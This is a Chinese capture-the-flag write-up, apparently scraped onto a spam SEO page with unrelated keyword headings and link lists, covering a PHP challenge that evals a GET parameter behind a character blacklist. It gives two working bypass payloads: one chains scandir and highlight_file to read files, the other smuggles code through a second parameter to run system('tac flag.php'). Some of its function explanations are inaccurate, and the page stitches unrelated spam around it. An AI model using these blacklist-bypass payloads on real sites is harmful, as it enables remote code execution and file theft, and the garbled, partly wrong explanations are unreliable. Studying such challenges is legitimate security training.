当前位置: 首页 > news >正文

广州网站建设新际wordpress 地区联动

广州网站建设新际,wordpress 地区联动,织梦网站首页内容,产品设计公司哪家好提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 题目介绍:题目分析:payload:payload解释:payload2:payload2解释:flag 题目介绍: …

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 题目介绍:
  • 题目分析:
  • payload:
  • payload解释:
  • payload2:
  • payload2解释:
  • flag


题目介绍:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

题目分析:

  1. if(isset($_GET['c'])){:检查GET请求中是否存在参数c

  2. $c = $_GET['c'];:如果存在,将参数c的值赋给变量$c

  3. 使用正则表达式检查变量$c中是否不包含一系列特定的字符。这个正则表达式尝试排除一些可能用于代码注入的特殊字符和一些常见符号。

  4. eval($c);:如果$c变量中不包含上述正则表达式定义的任何字符,则使用eval函数执行$c中的PHP代码。这是一个非常危险的操作,因为eval会执行任何传入的PHP代码,这可能包括恶意代码。

  5. }else{:如果GET请求中没有参数c,则执行else块中的代码。

  6. highlight_file(__FILE__);:如果没有参数c,这个函数会高亮显示当前文件的内容。这通常用于调试目的,但在生产环境中使用可能会暴露敏感信息。

  7. }:结束if-else语句。

payload:

?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

payload解释:

这段代码尝试通过GET请求利用PHP的eval函数执行恶意代码。下面是对这段代码的分析:

  • ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));:这是一个GET请求的参数c,其值是一个PHP表达式。
  1. echo:PHP中的输出函数,用于输出字符串或表达式的结果。
  2. highlight_file:PHP中的函数,用于高亮显示PHP文件的内容。
  3. next:PHP中的函数,用于将内部指针向前移动到下一个元素。
  4. array_reverse:PHP中的函数,用于反转数组元素的顺序。
  5. scandir:PHP中的函数,用于列出目录中的文件和子目录。
  6. pos:PHP中的函数,返回数组中当前元素的键名。
  7. localeconv():PHP中的函数,返回本地化的数字和货币格式信息。

具体来说,这段代码的执行流程如下:

  1. localeconv():获取本地化的数字和货币格式信息。
  2. pos(localeconv()):获取localeconv()返回数组的键名。
  3. scandir(pos(localeconv())):列出pos(localeconv())指向的目录中的文件和子目录。
  4. array_reverse(scandir(pos(localeconv()))):反转这些文件和子目录的顺序。
  5. next(array_reverse(scandir(pos(localeconv())))):将内部指针移动到下一个元素,即下一个文件或子目录。
  6. highlight_file(next(array_reverse(scandir(pos(localeconv()))))):高亮显示这个文件的内容。
  7. echo:输出这个高亮显示的内容。

payload2:

?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

payload2解释:

  1. ?c=eval(next(reset(get_defined_vars())));:这是GET请求的一部分,其中c参数的值是一个PHP表达式。

    • get_defined_vars():这个函数返回当前所有已定义变量的数组,包括局部变量和全局变量。
    • reset():这个函数将数组内部指针指向第一个元素,并返回该元素的值。
    • next():这个函数将数组内部指针向前移动一位,并返回当前指针处的元素值。
    • eval():这个函数执行字符串作为PHP代码。

    这段代码的目的是尝试执行get_defined_vars()返回的第一个元素的下一个元素的值作为PHP代码。

  2. &1=;system("tac%20flag.php");:这是GET请求的另一部分,尝试通过URL参数执行系统命令。

    • system():这个函数执行一个shell命令,并将完整的输出返回。
    • "tac%20flag.php":这里的命令是tac flag.phptac是反向输出文件内容的Unix命令,%20是URL编码的空格。

    这段代码的目的是尝试执行flag.php文件的反向内容。

flag

在这里插入图片描述

flag=“ctfshow{96c8b1e3-29aa-4010-8f8f-c2437ccb6502}”

http://www.yayakq.cn/news/454608/

相关文章:

  • 东莞网站关键词排名邯郸seo快速排名
  • 网站建设 企泰科技个人网站怎么建立
  • 跨境电商网站如何做推广wordpress主机 好吗
  • 婚恋网站需求分析泉州网站制作平台
  • 网站开发流程记住吧看守所加强自身网站建设工作
  • 哈尔滨网站建设公司名字济南网站搜索引擎优化
  • 手机网站建设平台济南品牌网站建设低价
  • 怎么用云服务器做网站html网页制作作品
  • 网站建设基础资料wordpress不是博客
  • asp.net做网站头部和尾部_都用什么来实现平台网站建设网站
  • 做网站哪里比较好h5页面制作软件电脑版
  • 摄影建设网站个人做网站需要备案吗
  • 司法网站建设与维护 教材wordpress热门标签调用
  • 公司的网站建设是什么部门龙岗住房和建设局网站
  • 免费网站重生做军嫂吉首企业网站建设价格
  • 越南的网站建设我的南京网站
  • 教做flash的网站dede游戏网站源码
  • 网站微信二维码侧边栏漂浮框网站上线是前端还是后端来做
  • 南宁哪有网站建设公司做游戏需要学什么
  • 做网站IP网上销售型企业网站
  • 宁波建设商城网站个人简介网站html代码
  • tinkphp5网站开发互联网趋势发展前景
  • 二级域名对于英文网站推广有什么影响python采集数据wordpress
  • 营销网站建设创意wordpress 自定义 文章形式
  • 温州关键词优化工具怎样优化标题关键词
  • 编程的网站都有哪些wordpress让小工具支持简码
  • 唐山网站建设唐山wordpress手机字体变大6
  • 找南阳建立网站的公司小程序后台
  • 上海餐饮网站建设推广品牌平台
  • 制作网站的素材做旅游网站宣传